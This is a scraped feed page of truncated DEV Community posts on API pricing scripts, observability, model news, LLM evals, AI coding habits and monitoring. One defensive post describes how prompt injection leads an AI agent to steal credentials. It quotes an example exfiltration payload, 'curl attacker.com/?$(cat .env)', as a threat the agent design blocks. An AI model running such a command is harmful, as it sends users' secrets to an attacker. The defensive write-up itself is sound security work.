Pixel

Pixel Updates & Events

Server Updates & Events

Announcements

DEV Community

Pricing a multi-country trip from a public per-GB rate feed (and why the cheapest rate isn't your price)

I work at NXTL eSIM, which publishes the endpoint used here. It's a public, read-only price list: no key, no account. If you build anything that quotes mobile data for travellers (a trip planner, a booking flow, an expense estimate), you hit the same problem quickly: per-GB rates differ by network, not just by country. A single "Italy: €0.64/GB" figure is a lower bound, not a price. This post prices a trip from a public rate feed in about 30 lines of Node, and prints the range you should show users. The data GET https://nxtlsim.com/wp-json/nxtl-app/v1/pricing/countries returns one row per country (183 on 16 Nov 2026): // one row, trimmed (rows also carry min_usd/max_usd)
{ "country": "Italy", "min_eur": 0.639, "max_eur": 2.1955, "networks": 4,
"min_display": "€0.64", "max_display": "€2.20" }
Top-level fields include total and ledger_currency: "EUR". The same data, with ISO codes and an updated timestamp, is in nxtlsim.com/ai/pricing.json (rates updated 14 Oct 2026 at the time of writing). The human version is the pricing page. The script // node trip-cost.mjs "Italy:7" "France:4" "Spain:3" --gb-per-day 0.8
const API = 'https://nxtlsim.com/wp-json/nxtl-app/v1/pricing/countries';
const args = process.argv.slice(2);
const i = args.indexOf('--gb-per-day');
const gbPerDay = i >= 0 ? Number(args[i + 1]) : 0.8;
const legs = args.filter((a, k) => a.includes(':') && k !== i + 1)
.map(a => { const [country, days] = a.split(':'); return { country, days: Number(days) }; });

const res = await fetch(API);
if (!res.ok) throw new Error(pricing endpoint returned ${res.status});
const { countries, ledger_currency } = await res.json();

let low = 0, high = 0;
for (const leg of legs) {
const r = countries.find(c => c.country.toLowerCase() === leg.country.toLowerCase());
if (!r) { console.log(${leg.country}: not in the price list, check the spelling); continue; }
const gb = leg.days * gbPerDay;
low += gb * r.min_eur; high += gb * r.max_eur;
console.log(${r.country.padEnd(10)} ${String(leg.days).padStart(2)} days ${gb.toFixed(1).padStart(5)} GB +
${r.networks} networks €${r.min_eur.toFixed(2)}–€${r.max_eur.toFixed(2)}/GB → €${(gb * r.min_eur).toFixed(2)}–€${(gb * r.max_eur).toFixed(2)});
}
console.log(Trip total (${ledger_currency}): €${low.toFixed(2)} at the lowest listed rates, up to €${high.toFixed(2)} at the highest.);
Node 18+ (global fetch, top-level await in .mjs). Output $ node trip-cost.mjs "Italy:7" "France:4" "Spain:3" --gb-per-day 0.8
Italy 7 days 5.6 GB 4 networks €0.64–€2.20/GB → €3.58–€12.29
France 4 days 3.2 GB 4 networks €0.63–€2.35/GB → €2.02–€7.53
Spain 3 days 2.4 GB 3 networks €0.63–€0.73/GB → €1.52–€1.75
Trip total (EUR): €7.12 at the lowest listed rates, up to €21.58 at the highest.

$ node trip-cost.mjs "United States:5" "Japan:5" --gb-per-day 1
United States 5 days 5.0 GB 4 networks €1.00–€41.22/GB → €5.00–€206.08
Japan 5 days 5.0 GB 2 networks €2.38–€2.61/GB → €11.92–€13.07
Trip total (EUR): €16.93 at the lowest listed rates, up to €219.15 at the highest.
What I'd take from this into a real product Show a range, not just the minimum. The US row is the reason: the same country spans €1.00 to €41.22 per GB depending on the network. If your UI shows only the minimum, users will be surprised. Say which control moves the user within the range. For NXTL there are two: an account-level network preference (Cheapest / Best coverage, neither a price ceiling, docs) and manual operator selection on the phone (docs). Your provider will have its own equivalents. Keep currencies apart. The rates are EUR/GB, while the consumer starter is sold from a USD catalogue (US$11.99 including US$10.00 of usable balance). Don't silently convert one into the other in your UI. Treat the usage figure as an input, not a fact. The 0.8 GB/day here is a parame...

Powered by Readybot.io

**DEV Community** ## Pricing a multi-country trip from a public …

DEV Community

Nobody updates the architecture diagram, so I made the system draw its own

When we build a product, the engineers map out the system architecture first. We draw the services, how they connect and what they depend on. The diagram gets reviewed and approved, and then we build. After that, nobody goes back to update it. Before long, the diagram is obsolete. Then an auditor comes around and asks to see the system, and we either show them something stale or rush to redraw it. Developers don't like updating diagrams. Most developers don't like documentation at all. I've been through this enough times that I wanted a different answer. So I built Ritele. Let the system draw itself The idea is simple. Your services already send telemetry. Once a service is instrumented, OpenTelemetry traces record the calls it makes to other services, its database queries, the messages it publishes to queues and its requests to third-party APIs. That's the real architecture, written down by the system itself, all the time. So Ritele takes that telemetry and draws the architecture from it: the actual services, the actual dependencies, and the actual things they connect to. A Ritele map of a real system. Service names are changed. Whether you're an engineer, an engineering manager or a CTO, you get visibility into what is actually running. You can see which service talks to which. If a service is connected to something it isn't supposed to be connected to, you see that too, and can make an informed decision about it instead of finding out during an incident or an audit. Then it grew A map tells you what is connected. The next questions are always the same: is it healthy, which request was slow, and what happened inside it? So I added tracing, logs and metrics. Now you can start from the architecture and drill down: click a component and see its health, open the requests behind a number, follow one request through every service it touched and see how long each hop took, then jump to the log lines from that exact span. After that came the question every team asks before a big launch or a peak season: how much can this architecture actually take? So Ritele can simulate traffic on the architecture it has mapped (this one is on the paid plans). What happens if we get ten times today's requests at peak? Where do the bottlenecks show up first? What it is now The goal is one place for observability. If you want to see what is running in your environment, you go to Ritele and it's there. If you need to troubleshoot, it's there too. It runs on your own servers, so your telemetry stays with you. Over the next few posts in this series I'll walk through each step on a real system with the names changed: from the map, to a component's metrics, to the slow request, to the log line that explains it. If you've ever presented a stale diagram to an auditor, I'd like to hear how you handled it. Tell me in the comments. Ritele has a free plan with no time limit: ritele.io

Powered by Readybot.io

**DEV Community** ## Nobody updates the architecture diagram, so I …

DEV Community

Alibaba’s Qwen4-Max targets AI’s cost and context bottlenecks

Quick take Alibaba says average cost per task has fallen by more than 60%, while Qwen4-Max uses up to roughly 50% fewer tokens than Qwen3.8-Max. The model’s listed API pricing is $1.50 per million input tokens and $4 per million output tokens. Qwen4-Max is available through QwenCloud, Qwen Studio, QwenWork and Qoder for coding, professional work, design, scientific exploration and long-running agents. The announcement does not explain how performance gains were measured, which tasks informed cost calculations, or how the model compares with rivals under identical conditions. Why it matters For developers and businesses, Alibaba is moving Qwen4-Max from a model release toward a service integrated across APIs, coding tools and workplace software, offering more routes to deploy it. The immediate change is a new option for high-volume and long-running workloads; users will need to watch independent tests of coding, vision, long-context recall and agent reliability. Alibaba is positioning Qwen4-Max as a commercial platform play, not just another larger model, combining a one-million-token context window with claimed efficiency gains, multimodal capabilities and access across its growing developer and workplace ecosystem. A broader bet than model performance Alibaba’s Qwen launch blog describes Qwen4-Max as a new mixture-of-experts model designed for work, creativity and research. The model includes native vision, multimodal capabilities, long-horizon task execution and a context window of up to one million tokens. Read Alibaba Puts Qwen3.8-Omni-Flash at the Center of Agentic AI That combination matters because the commercial value of a frontier model increasingly depends on how much useful work it can complete per dollar, rather than simply how well it performs on a benchmark. A million-token context could let companies provide an entire software repository, a large document archive or the history of a long-running project in a single session. In principle, that reduces the need to split tasks across multiple prompts and systems. The practical advantage, however, will depend on whether Qwen4-Max can retrieve relevant information accurately from such large inputs. Long context also brings potential tradeoffs involving latency, infrastructure costs and model reliability. Alibaba’s announcement presents the capacity as a headline feature, but customers will need to determine whether it improves outcomes on their own workloads. Alibaba's claimed Qwen4-Max reductions — see the chart in the original article. Alibaba claims Qwen4-Max outperforms Qwen3.8-Max while using up to roughly 50% fewer tokens. The company also says average cost per task has fallen by more than 60%, according to the official Qwen announcement on X. Those claims, if they hold in independent testing, could give Alibaba a meaningful advantage in high-volume applications such as coding assistants, customer operations and autonomous business agents. Lower token use can reduce inference expenditure, but it can also improve throughput. That makes the claim strategically important for Alibaba, which is competing not only on model quality but also on the economics of deploying AI at scale. Pricing becomes part of the competition The same X announcement lists API pricing of $1.50 per million input tokens and $4 per million output tokens. That pricing places direct attention on the cost of using Qwen4-Max, although comparisons with rival systems will require consistent accounting for output limits, caching, discounts and the quality of work completed per request. Alibaba’s pricing strategy could help it win developers who are experimenting with agents or processing large collections of company data. For those customers, a cheaper model is valuable only if it can complete tasks reliably without requiring repeated instructions, manual correction or multiple fallback calls to another system. The company is also presenting Qwen4-Max as a model for coding, professional work, de...

Powered by Readybot.io

**DEV Community** ## Alibaba’s Qwen4-Max targets AI’s cost and context …

DEV Community

Evaluate the Decision, Not the Prose: Building an Eval Harness for an LLM Backend

SokoFlow AI Build Log, Week 5 of 6: building an eval harness, getting rate-limited by my own test, and what a 90% really means I built an exam for SokoFlow's AI layer, ran it, and scored 71%. The target was 85%. So I did what you're supposed to do: I read the failures before touching any prompt. And some of the failures weren't the model's fault. The answer key expected a product UUID for stock questions, while the app looks products up by name. A shopkeeper says "sugar", not product_id=42. Part of my exam was wrong. That's the week in one paragraph: an evaluation harness is software, and it has bugs too. TL;DR Week 5 built an eval harness for the intelligence layer only: the LLM, the Orchestrator and the executor's validation. Not tool execution, not the database. The design calls: a case is a whole interaction, not one message; non-execution is judged on the decision, not the prose; tool selection, argument accuracy and overall pass rate are scored separately; each case carries labels on several independent dimensions instead of one category. First clean run: 71.11%. After fixing the answer key, the tool descriptions and the date handling: 90% (27/30) on three runs in a row, at about $0.000069 per query against a $0.004 ceiling. The caveats matter as much as the number: I tuned against the same 30 turns, the repair path never fired, and the margin over the 85% target is one turn. Where we are SokoFlow is a headless WhatsApp ERP for Kenyan SMEs. I've been building it for about five months. There's no app and no UI to learn; for a shopkeeper, the conversation is the interface. Phase 3 adds one AI feature: natural-language shop analytics. A shopkeeper asks "which products are running low?" or "how does this week compare to last week?", and an LLM, using function calling against SokoFlow's existing services, figures out which query to run. Last week was robustness and guardrails, driven by one question: what happens when the system can't safely give the user what they asked for? Weeks 1–4 were mostly about making the system behave safely and predictably. Week 5 is about whether the intelligence layer actually behaves correctly. The principle for the week: A system that executes tools successfully is not necessarily a system that understands what the merchant asked for. The evaluation boundary The spec set an eval pass rate of at least 85%. My first question: what exactly are we proving when we say that? Imagine a merchant sends: "How much did I make in sales last week?" The AI should propose get_sales_summary with the correct date range for last week. But a lot happens on the way: the LLM interprets the question, the ToolExecutor validates the proposal, the backend runs the tool, and the formatter writes the reply. Do I have to test all of that? No. This eval measures the intelligence layer, not tool execution or database uptime. That was the first boundary I drew: EVALUATION ENTRY
Merchant query + trusted evaluation context
↓
LLMClient interpret merchant intent, propose a tool call
↓
Orchestrator tool selection, argument validation flow, bounded repair
↓
EVALUATION EXIT
ToolExecutor validation
"Does the final proposal resolve to an allowed tool
and satisfy its argument contract?"

OUTSIDE PRIMARY EVALUATION
Tool execution → Services → Database → Formatting → WhatsApp delivery
What is an evaluation case? Next, the unit of measurement. SokoFlow handles multi-turn conversations, which made this hard. Consider: "How much did I sell today?" "How much did I sell yesterday?" Are those two independent cases, or is the second a continuation of the first? I chose to treat a case as a complete interaction with whatever conversational context is needed to interpret it. One interaction may contain several merchant messages, and each message is an evaluation turn with its own expected behaviour. The reason: if I evaluate message 2 on its own, I'm testing something different from prod...

Powered by Readybot.io

**DEV Community** ## Evaluate the Decision, Not the Prose: Building …

DEV Community

The Secret-Broker Pattern: Stop Handing Credentials to Your AI Agent

When people ask "how do I stop an AI agent from being tricked into running dangerous commands?", they usually expect an answer about better prompts or smarter models. That's the wrong layer. A model that can be talked into something will eventually be talked into something. The reliable defenses are boring, deterministic, and sit between the model and the side effects.\n\nThis post documents the pattern we shipped in hmharness (an open-source agent framework for HarmonyOS development, MIT licensed) — the same layering that came out of a prompt-injection postmortem we published after our own red-team pass. Three layers, each independently useful.\n\n## Layer 1: The agent never holds secrets\n\nThe core idea of the secret-broker pattern: the agent process gets zero usable credentials. Not env vars, not files, not tokens in memory. Instead, a local broker process holds them.\n\nWhen the agent needs an authenticated call, it sends a credential-free request to the broker (http://127.0.0.1:PORT/req?op=publish). The broker checks the requested operation against a policy file, attaches the right secret, forwards to the real endpoint, and returns only the result.\n\nWhy this matters for prompt injection: an attacker who fully controls the model's output gets... a credentialed-free agent. The worst it can do is ask the broker to do something — and the broker says no unless the op is on the allow-list. Injection stops being a credential-theft vector because there are no credentials to steal.\n\n## Layer 2: Egress allow-list, fail-closed\n\nThe broker also enforces where traffic may go. A domain allow-list, not a block-list. Anything not explicitly allowed is denied, and denied closed — no fallback path, no "just this once."\n\nThis kills a whole class of exfiltration tricks that don't need credentials at all: curl attacker.com/?$(cat .env) style payload smuggling. If the egress door only opens to three known domains, the smuggler is shouting into a closed pipe.\n\nNote the inversion from how most tools configure networks (default-open, block the bad). For agents, default-open means every novel exfiltration technique wins by default. Fail-closed means every novel technique has to first defeat an explicit allow-list — a much higher bar.\n\n## Layer 3: Dangerous verbs need a human signature\n\nThe third layer is about blast radius, not prevention. High-impact operations — publishing, paying, deleting, emailing — require a human approval bound to a specific parameter snapshot. Change one argument after approval, and the approval is void.\n\nThis is the layer that accepts an uncomfortable truth: you cannot fully "detect" prompt injection. Detection layers catch maybe 10% of injected patterns in empirical tests (a recent IEEE evaluation found a 3B-model pipeline flagged 38 of 372 injection prompts, and rejected zero on its own). Hard gates — not smarter detection — are what actually stop the 90%.\n\n## Why layers, and not one good layer\n\nEach layer fails differently:\n\n| Layer | Defends against | Failure mode | |---|---|---| | Secret broker | Credential theft | Broker policy too loose | | Egress allow-list | Exfiltration | Stale allow-list | | Human signature | Blast radius | Approval fatigue |\n\nStacked, one loose policy doesn't become a breach — the other two still hold. That's the whole point: assume each layer will eventually be misconfigured, and make sure that's survivable.\n\n## Notes from practice\n\nWe run this in hmharness 0.23.31+ (@hmharness/cli on npm): broker process with per-op policy, egress allow-list with fail-closed default, and approval-bound publish flows. It came out of our own CI incident retrospective era — the lesson generalizes: when the judge (CI, model, detector) can be deceived, you don't add more judging, you remove the judge's ability to cause harm.\n\nThe pattern is not HarmonyOS-specific and not hmharness-specific. If your agent stack has secrets in env vars today, the secret-broker refactor is the sing...

Powered by Readybot.io

**DEV Community** ## The Secret-Broker Pattern: Stop Handing Credentials to …

DEV Community

AI Writes Code Fast. Here's How I Make Sure It Writes Good Code.

AI coding assistants feel like magic one minute and a confident liar the next. One moment it produces a clean, working function in seconds. The next, it invents an API that doesn't exist and defends it with total certainty. After using LLM assistants every day, I've noticed the difference rarely comes down to the tool. It comes down to how you work with it. Here are the seven habits that made the biggest difference for me. - Give context, not just a request Compare these two prompts: "Write a function to validate emails." versus "Write a TypeScript function isValidEmail(input: string): boolean for a signup form. We already use Zod, so avoid regex-heavy solutions. Reject empty strings and anything over 254 characters. Include Vitest unit tests." The second one tells the model the language, the signature, the constraints, the existing stack, and what "done" looks like. My rule: tell it what you'd tell a new teammate on their first day. - Work in small steps Asking for a whole feature in one shot gives you a giant blob of code that's painful to review. Instead: • Ask for a plan first • Agree on the approach • Build one piece at a time • Run the code between steps Small steps mean small diffs. Small diffs are easy to check. - Paste the real error "It doesn't work" gives the model nothing to reason about. Paste the actual stack trace, the failing test output, and the code it points to. Nine times out of ten, that alone gets you the fix in one round. - Review AI code like a PR from a stranger Generated code always looks polished, even when it's wrong. So I review it with healthy suspicion: • Does it do what I asked, or just what it sounds like it does? • Do these APIs actually exist? • What happens with empty input, nulls, or huge input? • Is there anything insecure, like unsanitized input or hard-coded secrets? • Does it fit our codebase's conventions? If I can't explain what a block of code does, it doesn't get merged. - Ask for tests, then read the tests Tests are one of the best uses of an assistant. But a test that asserts the wrong thing gives you false confidence, so read them. A great trick: write the tests first, confirm they fail, and only then ask for the implementation. - Use it to learn, not just to type Some of my most valuable prompts aren't "write this" at all: • "Explain this function line by line." • "What are the trade-offs between approach A and B?" • "What could go wrong with this in production?" • "How could this be simpler?" Treat the assistant as a patient reviewer and tutor, and you'll get better at the craft instead of just outsourcing it. - Know when to stop prompting If you're five or six replies deep and the output keeps getting worse, the conversation has drifted. Don't keep patching. Start fresh, restate the problem with what you've learned, and try again. Or spend five minutes thinking it through yourself. It's often faster. A few things to stay careful about • Never paste secrets, credentials, or customer data into any tool, and check your company's policy first. • Know your team's rules on licensing and generated code. • Don't let your skills atrophy. If you stop understanding the code, you can't debug it when it breaks. An AI assistant is a fast, tireless collaborator that sometimes gets things wrong. You are still the engineer. You set the direction, verify the result, and own what ships. Do that, and AI makes you noticeably faster without making you sloppier. What's the best prompting habit you've picked up? I'd love to hear it in the comments. For more, visit https://codespanda.com

Powered by Readybot.io

**DEV Community** ## AI Writes Code Fast. Here's How I …

DEV Community

I Built a Production Watchdog with $0 Infra: cron + curl + 4 APIs

I shipped a 4-hour automated watchdog for my $100→$200 challenge using only cron, curl, and zero external services. Here's the exact stack. The constraint I needed to monitor four things every 4 hours without paying for Datadog, UptimeRobot, or writing a backend: USDT TRC-20 wallet balance — detect a $19 sale instantly Hacker News mentions — catch any organic discussion Site liveness — 4 critical URLs must return 200 SEO indexing — know when Bing/Google picks up my 30 pages All on a $0 budget, running unattended. The stack Scheduler: ZCode workspace automation (cron 23 /4 * * ) — runs in their cloud, survives my local power loss. Runtime: Bash + curl + python3 one-liners. No Node, no Docker, no server. APIs used: TronGrid: https://api.trongrid.io/v1/accounts/ → parse trc20.TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t HN Algolia: https://hn.algolia.com/api/v1/search?query=checkliststack&tags=story|comment dev.to API: https://dev.to/api/articles/ → public_reactions_count, comments_count Site check: curl -s -o /dev/null -w "%{http_code}" on 4 URLs Bing: curl -s "https://www.bing.com/search?q=site%3A" → grep for real results State persistence: Single Markdown file (doubling-capital-task.md) updated by the script itself. Survives restarts, no DB. The watchdog script (condensed) #!/bin/bash

Runs every 4h via ZCode automation

WALLET="TA4LEuoKtyoxTNAjjxN8V3nDAr3g9EmcFM"
ARTICLE_ID=5022514
DOMAIN="checkliststack-jijz.zai-ai.site"

1. Wallet

USDT=$(curl -s "https://api.trongrid.io/v1/accounts/$WALLET" | python3 -c "import json,sys; d=json.load(sys.stdin); trc=d.get('data',[{}])[0].get('trc20',{}); print(trc.get('TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',0)/1e6 if trc else 0)")

2. HN mentions

HN_STORIES=$(curl -s "https://hn.algolia.com/api/v1/search?query=checkliststack&tags=story" | python3 -c "import json,sys; print(json.load(sys.stdin)['nbHits'])")
HN_COMMENTS=$(curl -s "https://hn.algolia.com/api/v1/search?query=checkliststack&tags=comment" | python3 -c "import json,sys; print(json.load(sys.stdin)['nbHits'])")

3. Site (4 URLs)

SITE_OK=0
for u in "/" "/checklists/" "/free_sample.pdf" "/checklists/cash-flow-management.html"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://$DOMAIN$u")
[[ "$code" == "200" ]] && ((SITE_OK++))
done

4. dev.to article stats

DEVTO=$(curl -s "https://dev.to/api/articles/$ARTICLE_ID" -H "Accept: application/vnd.forem.api.v1+json" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('public_reactions_count',0), d.get('comments_count',0))")

Report only on change (compare with saved state in memory file)

...state comparison logic...

echo "OK: wallet \$${USDT}, HN stories $HN_STORIES, comments $HN_COMMENTS, site $SITE_OK/4, dev.to reactions $(echo $DEVTO | cut -d' ' -f1)/comments $(echo $DEVTO | cut -d' ' -f2)"
Why this works Zero infra cost — runs in ZCode's automation layer Zero vendor lock-in — pure HTTP APIs, swapable in 5 min Self-documenting — the script IS the runbook Survives everything — cloud scheduler + file-based state = no SPOF What I'd add next Telegram webhook for instant sale alerts (free, 30 sec setup) Page-view tracking via dev.to API page_views_count when available Auto-redeploy trigger if any site URL returns non-200 The full memory file with state lives in the project repo — the watchdog reads/writes it each run. No database, no dashboard, just text. If you're building solo with zero budget: this pattern (cron + curl + state file) scales further than you'd think. The constraint forces simplicity, and simplicity survives. Try it: pick 3 things to monitor, write a 20-line bash script, schedule it. You'll have a production monitoring system before your coffee cools.

Powered by Readybot.io

**DEV Community** ## I Built a Production Watchdog with $0 …

DEV Community

Idempotent publishing jobs #ygl5s

Every job gets an id and a state machine: queued, running, retry, published. Deduplicate by job id before writing a publication record. Related Source repository Mbin instance Author profile on DEV

Powered by Readybot.io

**DEV Community** ## Idempotent publishing jobs #ygl5s Every job gets …

DEV Community

4 Small Habits That Cut My LLM Coding Rework in Half

When people first start coding with LLMs, they usually spend most of their energy tweaking system prompts or hunting for clever templates. Yet once a thread stretches past eight or ten turns, the model almost always starts drifting—renaming fields you agreed on earlier or breaking edge-case guards it just fixed. Most of the time, the culprit is context pollution rather than model capability. Over the past few months, four small engineering habits reduced my rework far more than any elaborate prompt framework. 1. Open a Fresh Thread Per Sub-Task In long conversations, every new prompt re-reads all previous snippets, failed patches, and stale hypotheses. Once two broken attempts sit in the history, models tend to orbit around those dead ends. Now I treat chat threads like disposable scratchpads: Use one thread to align on schema or data flow, then copy only the final contract out. Start a clean thread for the actual implementation or UI component. As soon as a specific bug is verified fixed, close that thread before moving to the next issue. 2. Share Minimal Repros Instead of Entire Files Pasting a 500-line file and asking "what is wrong here?" forces the model to guess which 15 lines matter. You get better first-shot diagnoses by giving three things only: The isolated 15–30 lines around the failing path. The exact raw error message or stack trace (not a paraphrase). One line stating what you already ruled out (for example, "env vars load cleanly and the payload shape is verified"). 3. Lock Down Types and Signatures Before Implementation Asking an LLM to generate a full multi-step module in one pass often produces confident code with missing null checks or swallowed errors. A faster two-step loop is asking for only the function signatures, input/output types, and failure modes first. Reviewing a 20-line contract takes thirty seconds, and once the boundaries are solid, the implementation rarely needs major edits. 4. Split Fast Models from Heavy Reasoning Models Roughly 70% of daily dev prompts are mechanical: converting JSON into TypeScript interfaces, drafting regexes, writing boilerplate tests, or formatting migrations. Routing those to fast, lightweight models keeps feedback snappy, while reserving heavier reasoning models strictly for multi-file debugging and architectural trade-offs. None of these habits require special plugins or secret prompts—just cleaner inputs and tighter feedback loops. What small workflow tweak made the biggest difference in your own AI-assisted coding setup?

Powered by Readybot.io

**DEV Community** ## 4 Small Habits That Cut My LLM …

DEV Community

We measured what AI coding agents preload into their prompts. It wastes 99.6% of context and misses the runtime entity 53% of the time.

Published by Lucen Research Group · November 2026 · Peer-Verified Empirical Report An AI agent was tasked with triaging a production database connection exhaustion incident. To give it the tools it needed, the host platform preloaded all 50 Model Context Protocol (MCP) servers into its system prompt. That was 272,607 tokens of raw JSON schemas. Two tools would have solved the incident: pg_check_connection_pool and slack_post_incident_bulletin. The agent preloaded five hundred. The model choked on prompt prefill, confused two similarly-named PostgreSQL diagnostics tools, and halted because it had zero pre-bound connection credentials. Not a crash. Not an error. The context dump was provably complete with respect to the MCP manifests. Every tool the enterprise owned was in the prompt. The entity that mattered — the target primary cluster endpoint (pg-cluster-prod.internal:5432) — was simply never bound, and dumping more schemas into the context window could never produce an entity that was never resolved. That one case sent us down a hole for a week. Here is what came out of it: across 50 realistic enterprise operational scenarios in multi-server environments, the naive context dumps coding agents rely on consume 272,607 tokens per query with a 0% Turn-0 success rate. Carefully tuned keyword and BM25 retrievers: 46.7%. And no amount of prompt tuning fixes an edge the system never extracted. So we built the thing that acts on that number: Lucen, a deterministic context resolution layer built directly on HydraDB and SlateDB. And we made every figure in this article re-derivable with one command, because empirical systems only deserve trust when a reader can knock the numbers down and fail. FIGURE 1: THE RESOLUTION GAP (272,607 TOKENS VS 1,214 TOKENS) Live view of the 4-tier context resolution graph inside HydraDB: MCP Servers (Blue), Capabilities (Yellow), Isolated Tools (Red), and Bound Entities (Emerald) resolved in 0.21 ms. 1. The Problem Nobody Measured Every agent framework works from a context mechanism. In small demos, developers serialize every available tool into the system prompt. It is fast, intuitive, and feels complete. Here is the trap, stated as a pair: What naive prompt preloading guarantees: The context is complete with respect to every tool schema the servers declare. What the agent actually needs: The context contains only the tools reachable for the task, pre-bound with active runtime infrastructure entities. Those are fundamentally different properties, and the gap between them is invisible from inside the tool. A prompt can be perfectly formed and still be missing runtime infrastructure roads. An agent that hallucinates a parameter or requires 3 exploratory turns looks like an LLM limitation, when it is really a context retrieval failure. So the question was never "can LLMs read 200k tokens?" It was the cheaper question nobody asked: is dumping the entire catalog into the context window any good? FIGURE 2: 4-LAYER SYSTEM ARCHITECTURE (HYDRADB + SLATEDB + S3) Client Layer (MCP Gateway), Context Broker (FastAPI), GraphBLAS Traversal Kernel (SciPy/CSR), and Storage Backend (HydraDB + SlateDB on MinIO S3). 2. How We Measured It To ground the benchmark in enterprise reality rather than synthetic toy prompts, we curated a 50-task operational corpus partitioned into: 35 Training Tasks: Used for initial topology calibration and continual feedback weight reinforcement. 15 Strictly Held-Out Test Tasks: Completely unseen composite operational incidents spanning database pool exhaustion, container OOM rolling restarts, CloudWatch IOPS degradation, hotfix PR review, and multi-region failover. We evaluated 5 competing arms across the catalog of 500 MCP tools and 80 runtime entities: Naive Full Preload: Dumps all 500 tool schemas (272,607 tokens) into the prompt. Standard BM25 Top-4: Keyword retrieval ranking tool names and descriptions. Hardened BM25 (k=8 + Query Decomposition + Flat Dict): Splits compound queries into...

Powered by Readybot.io

**DEV Community** ## We measured what AI coding agents preload …

DEV Community

Beyond Fixed Probes: Making LLM API Evaluation Harder to Game

A model fingerprinting test can return a convincing result while missing an important failure mode: What if the provider knows when it is being tested? A provider could recognize a fixed fingerprinting prompt, route that request to the genuine model, and send ordinary production traffic to a cheaper or older model. The test would pass. The endpoint would still behave differently for real users. This possibility does not invalidate black-box evaluation. It defines a stronger requirement for the evaluation protocol: The test should be difficult to recognize, reproducible across controls, and informative when request routing changes. This question came up while working on the model evaluation workflow at Oken. Oken compares AI model and API behavior through controlled black-box tests. The next challenge is making those tests more robust against provider-side routing decisions and ordinary model drift. A fixed probe is easy to recognize A fixed fingerprinting task has several properties that make it vulnerable to pattern matching: the prompt text stays the same; the output length is predictable; the value range is fixed; the response format is unusual; the request structure looks different from ordinary application traffic; the provider can collect and identify the test over time. For example, a provider could detect a known integer-generation prompt and apply a special route: Recognized fingerprint probe ↓ Route to the advertised model ↓ Return behavior consistent with the reference Normal application requests could follow a different route: Ordinary production request ↓ Route to a cheaper or older deployment In that situation, the detector measures the provider’s response to the probe rather than the behavior most users receive in production. A detector should therefore avoid treating one successful probe as conclusive evidence. Fresh content preserves the measurement target The first improvement is to generate fresh probe content for every run. The surface form can change while the statistical measurement target remains stable. For an integer-sequence task, this could include varying: the exact prompt wording; sequence length; numeric range; formatting instructions; equivalent task descriptions; session order; prompt position. The purpose is not to add randomness for its own sake. The purpose is to prevent the evaluator from relying on one recognizable string. A useful protocol should preserve the behavioral dimensions being measured: marginal value preferences; positional effects; transition magnitude; repetition behavior; local sequence structure. At the same time, it should change the details that a routing layer could memorize. The design principle is: Keep the measurement objective stable while changing the observable form of the probe. Fresh content does not make a test impossible to target. It raises the cost of recognizing the test and reduces dependence on a single known prompt. Request shape is another routing signal Changing the prompt content may not be enough. Providers can route requests based on metadata and request structure, including: system instructions; tool definitions; streaming mode; response format; context length; requested capabilities; endpoint parameters; application-specific headers. This suggests a paired test. The same semantic probe can be sent using two request envelopes: Request A Minimal evaluation envelope Request B Production-shaped envelope with: a normal system prompt; tool schemas; application context; streaming enabled; ordinary request metadata. The probe content remains equivalent, but its external shape resembles a real production request. If the endpoint behaves differently across the two envelopes, that difference becomes a useful signal for investigation. A simplified result could look like this: Same probe content Minimal envelope: matches reference model A Production envelope: matches reference model B Observed divergence: substantial This does not prove selective routing by ...

Powered by Readybot.io

**DEV Community** ## Beyond Fixed Probes: Making LLM API Evaluation …

DEV Community

I'm a School Teacher in Pakistan. I Built 883 Free Tools in 40 Languages — Here's What I Learned

I'm a School Teacher in Pakistan. I Built 883 Free Tools in 40 Languages — Here's What I Learned By day, I teach school in Jaranwala, a small city in Punjab, Pakistan. I also train other teachers in how to use AI in their classrooms. In my remaining hours, I run Loona Automation — a network of 30 tool websites holding 883 free tools, every one of them published in 40 language editions. No sign-up. No downloads. No servers doing the work. Everything runs in the visitor's own browser, on their own device. This past weekend I shipped 12 new tools in one go. This post is about how that network is built, why I made three unusual decisions — client-side only, 40 languages, and a strict three-check quality rule — and what those decisions have taught me. The mission behind it: Bolti Duniya My mission has a name in Urdu: Bolti Duniya — "a world that speaks." The idea is simple: every book should speak, in every language, for everyone who cannot read. That mission shapes the engineering. If a tool is meant for everyone, it cannot ask for an account. It cannot demand a fast connection to a distant server. It cannot be in English only. And it cannot cost money, because the people who need free tools the most are the ones least able to pay for them. So the rules for every Loona tool are fixed: Free, with no premium tier hiding the useful part No sign-up, no login, ever Client-side — the work happens on the visitor's device Fast on a cheap phone, because that's what most of my visitors use In the visitor's language, not just mine Why everything runs in the browser Client-side-only is the decision people question most, so let me explain it honestly. A server costs money every month, for every user, forever. A static page on GitHub Pages costs nothing to serve, whether ten people use it or ten thousand. For a one-person project funded by a teacher's salary, that difference is the whole project. Privacy is the second reason. When someone converts a photo, checks a resume, or generates a class attendance register on Loona, their file never leaves their device. There is nothing to leak because there is nothing to collect. I don't have to ask visitors to trust me with their documents — the architecture makes the promise for me. The third reason is speed and reliability. No round trip to a server means the tool works the moment the page loads, and it keeps working on the slow connections common in my part of the world. The honest trade-off: some things simply can't be done well in a browser, and I don't pretend otherwise. I would rather offer 883 tools that genuinely work on-device than promise server-grade features I can't sustain. Why 40 languages When someone searches Google in their own language, they deserve to find a tool in that language too. So every Loona site exists in 40 full editions: 35 languages, plus 5 regional variants such as US and UK English and Brazilian and European Portuguese. These are real translated editions, not a JavaScript text-swap button. Each edition has its own pages, its own navigation, its own search index. That is slower to build and much harder to maintain — 40 editions means every fix has to be verified 40 times — but a teacher in Istanbul or Jakarta should feel the tool was made for them, because it was. The 12 tools from this weekend The newest additions, one per real problem I kept seeing: HEIC to JPG Converter — iPhone photos that won't open anywhere else Islamic Baby Names — 1,197 names with meanings, for new parents ATS Resume Checker — will your resume survive the screening software? Report Card Maker — for teachers like me, at term's end Certificate Maker — upgraded to print certificates in bulk from a list of names Signature Background Remover — a clean signature image from a phone photo Word of the Day — a 500-word bank, one word daily, for learners Exam Date Sheet Maker — the timetable every school office builds by hand Attendance Register Generator — a printable register in minutes Hashtag Gener...

Powered by Readybot.io

**DEV Community** ## I'm a School Teacher in Pakistan. I …

DEV Community

How to get transcripts from Snapchat Spotlight videos with Python

